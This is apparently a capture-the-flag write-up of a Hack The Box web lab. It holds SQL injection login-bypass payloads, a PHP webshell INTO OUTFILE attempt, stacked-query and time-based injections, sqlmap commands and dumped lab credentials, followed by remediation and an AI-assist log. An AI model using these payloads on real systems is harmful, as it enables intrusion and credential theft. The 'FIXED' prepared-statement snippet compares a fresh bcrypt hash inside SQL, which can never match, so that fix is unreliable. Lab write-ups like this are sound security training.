Box info | OS: Linux Debian 10 (Apache/2.4.38) | Difficulty: Very Easy | Tier: 1 | Status: Starting Point Skills: SQL injection, authentication bypass, blind SQLi, sqlmap Pwned: 2026-04-28
TL;DR
Appointment is a Tier 1 web box running Apache 2.4.38 on Debian 10 with a PHP login form backed by MariaDB. The username POST parameter is directly interpolated into a SQL query with no sanitization. A classic ' OR '1'='1' -- - payload bypasses authentication and triggers the flag to appear in the HTTP response. Going deeper with sqlmap confirms boolean-based blind injection, extracts the appdb database schema, and dumps two user records — including a plaintext password for a test user. The lesson: unsanitized SQL interpolation in authentication queries is still widespread, and it can be exploited by any attacker who knows three characters: ', --, and 1.
Recon
1. Liveness check
$ ping -c 2 10.129.36.228
Request timeout for icmp_seq 0
100% packet loss
ICMP filtered. Use -Pn.
2. Port sweep
$ nmap -Pn -T4 -p 1-10000 --min-rate=1000 10.129.36.228
PORT STATE SERVICE
80/tcp open http
Single open port: 80/tcp. All other ports return connection refused.
3. Service detection
$ nmap -Pn -sV -sC -p 80 10.129.36.228
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-title: Login
|_http-server-header: Apache/2.4.38 (Debian)
Apache 2.4.38 on Debian 10 (Buster). The page title is “Login” — the root URL serves a login form directly.
4. Web application fingerprint
whatweb http://10.129.36.228/
# → Apache/2.4.38 (Debian) | Title: Login | Content-Type: text/html; charset=UTF-8
No JavaScript frameworks, no CMS. Simple PHP application. The form sends username and password via POST to /.
Foothold
Dead end #1 — first scan missed the host
$ nmap -sV -sC -p 22,80,443,8080 10.129.36.228
All ports filtered.
Nmap without -Pn treats ICMP-filtered hosts as down and skips them. Adding -Pn (skip host discovery, treat as up) fixes this. On HTB, -Pn is almost always required.
Dead end #2 — INTO OUTFILE webshell
After confirming SQLi, attempted to escalate to RCE via file write:
username=xxx' UNION SELECT 1,"<?php system($_GET['cmd']); ?>",3
INTO OUTFILE "/var/www/html/shell.php"-- -&password=test
The query executed successfully (no error), but accessing /shell.php returned 404. Investigation via time-based blind injection confirmed:
username=admin' AND IF(@@secure_file_priv IS NULL, SLEEP(3), SLEEP(0))-- -&password=test
# → 3.083 second delay — confirmed secure_file_priv IS NULL
When secure_file_priv is NULL (distinct from empty string ""), MySQL/MariaDB blocks all LOAD FILE and INTO OUTFILE operations regardless of user permissions. No file read/write via SQL is possible.
Dead end #3 — stacked queries for code execution
username=admin'; UPDATE users SET password='hacked' WHERE username='admin';-- -
No error, no effect. PHP mysqli_query() (not mysqli_multi_query()) does not support multiple statements in a single call. Stacked queries are silently ignored.
Working approach — authentication bypass via OR injection
The login query likely looks like:
SELECT * FROM users WHERE username='[INPUT]' AND password='[INPUT]';
Injecting admin' OR '1'='1' -- - transforms this to:
SELECT * FROM users WHERE username='admin' OR '1'='1' -- -' AND password='test';
The comment (-- -) removes the password check. '1'='1' is always true. The WHERE clause matches every row. The application receives a result, considers the login successful, and renders the post-login page.
curl -s -X POST http://10.129.36.228/ \
-d "username=admin' OR '1'='1' -- -&password=test"
Response:
<h2 class="w3-center">Congratulations!</h2>
<p class="w3-center">Your flag is: [REDACTED]</p>
Deeper enumeration with sqlmap
sqlmap -u "http://10.129.36.228/" \
--data="username=admin&password=test" \
-p username \
--string="Congratulations" \
--technique=B --level=2 --risk=1 --batch --dbs
Discovered databases:
appdbinformation_schema
Table structure of appdb.users:
+----------+---------------------+
| Column | Type |
+----------+---------------------+
| id | bigint(20) unsigned |
| username | text |
| password | text |
+----------+---------------------+
Dumped user data:
+----+---------------------------------------------------+----------+
| id | password | username |
+----+---------------------------------------------------+----------+
| 1 | 328ufsdhjfu2hfnjsekh3rihjfcn23KDFmfesd239"23m^jdf | admin |
| 2 | bababa | test |
+----+---------------------------------------------------+----------+
Passwords stored in plaintext. The admin password is a complex random string (ironically, more secure than most passwords). The test user has bababa — trivially guessable.
Privilege Escalation
N/A — Starting Point Tier 1 box with web-only attack surface. Port 22 returns connection refused. No other services exist. The SQL injection provides database read access but not OS-level access (no INTO OUTFILE, no stacked queries, no UDF injection possible with secure_file_priv=NULL).
What’s actually broken
- Unsanitized SQL query construction. The PHP code concatenates user input directly into a SQL string. This is the quintessential CWE-89 (SQL Injection) — the most fundamental web security failure, described in OWASP since 2004.
- Passwords stored in plaintext. The
passwordcolumn inappdb.usersholds cleartext passwords. Even if SQLi is fixed, a separate dump of theuserstable (via another SQLi or insider threat) exposes every password immediately. - No rate limiting on login attempts. Unlimited POST requests are accepted. An attacker can brute-force credentials without throttling.
- Error messages reveal database type. Time-based blind injection (
SLEEP(3)) confirming MySQL/MariaDB narrows the attacker’s approach before any public fingerprinting.
Remediation (the boring half)
Use parameterized queries (prepared statements):
// VULNERABLE:
$query = "SELECT * FROM users WHERE username='$_POST[username]' AND password='$_POST[password]'";
// FIXED:
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->execute([$_POST['username'], password_hash($_POST['password'], PASSWORD_BCRYPT)]);
Hash passwords with bcrypt:
// On registration:
$hash = password_hash($plaintext_password, PASSWORD_BCRYPT, ['cost' => 12]);
// On login:
if (password_verify($plaintext_password, $stored_hash)) { /* success */ }
Add rate limiting (fail2ban for Apache):
# /etc/fail2ban/jail.local
[apache-auth]
enabled = true
maxretry = 5
findtime = 300
bantime = 3600
Suppress detailed error messages:
// php.ini or .htaccess
display_errors = Off
log_errors = On
error_log = /var/log/php_errors.log
MITRE ATT&CK mapping
| Tactic | Technique | How it shows up here |
|---|---|---|
| Reconnaissance | T1046 — Network Service Discovery | Port scan finds Apache on 80/tcp |
| Initial Access | T1190 — Exploit Public-Facing Application | SQL injection bypasses login authentication |
| Credential Access | T1552.001 — Credentials In Files | Plaintext passwords dumped from appdb.users via sqlmap |
| Collection | T1005 — Data from Local System | Flag returned in HTTP response after auth bypass |
Lessons learned
- SQL injection is still everywhere. OWASP Top 10 has listed injection flaws at #1 or #3 for twenty years. It persists because developers concatenate strings instead of using prepared statements.
secure_file_priv=NULLblocks file operations even for privileged users. When you seeINTO OUTFILEfail with no error but no file created, check@@secure_file_priv.NULL= completely disabled (not the same as""= unrestricted).- Boolean-based blind SQLi requires only two inputs. You don’t need error messages or UNION output. Two different response sizes (365 bytes vs 1071 bytes here) give you a binary oracle for extracting any data from the database one bit at a time.
- Time-based SQLi confirms database type.
SLEEP(3)works on MySQL/MariaDB.pg_sleep(3)for PostgreSQL.WAITFOR DELAY '0:0:3'for MSSQL. Knowing the database type immediately guides which injection payloads to try.
🤖 AI-assist log
Transparency over polish. This is exactly where Claude was in the loop on this box.
Note: AI-assist log reconstructed from writeup context; original session interaction logs not available.
| Step | What I asked | What Claude returned | What I changed |
|---|---|---|---|
| secure_file_priv NULL vs empty | “Why did INTO OUTFILE fail silently with secure_file_priv IS NULL?” | Explained the semantic difference: NULL = file operations completely disabled by the DBA; '' (empty string) = unrestricted; /path = restricted to that directory. MySQL/MariaDB treats NULL as the most restrictive setting. | Added the SLEEP-based confirmation technique and the explanation to Dead end #2. |
| stacked queries in PHP | “Why don’t my stacked queries work in this PHP app?” | Explained: mysqli_query() executes only the first statement; mysqli_multi_query() is required for multiple statements and is rarely enabled. PDO has similar behavior with emulate_prepares=false. | Used in Dead end #3 with the PHP function name. |
| sqlmap parameters | “What sqlmap flags do I need for boolean-based blind only?” | --technique=B --level=2 --risk=1. Explained that --string="Congratulations" is the positive match indicator. --batch suppresses interactive prompts. | Used directly in the sqlmap command. |
| plaintext password risk | “Admin has a strong random password in plaintext — is that still a vulnerability?” | Yes — plaintext storage means a database breach exposes all passwords immediately regardless of complexity. A 128-bit random password in plaintext is still worse than a bcrypt hash of ‘password123’. | Added the nuance to the “What’s actually broken” section. |
What Claude got wrong: Nothing significant. What Claude couldn’t do: Execute SQL against the target; all commands ran locally. Net assist value: High on SQL semantics (secure_file_priv, stacked queries); medium on tool parameters.
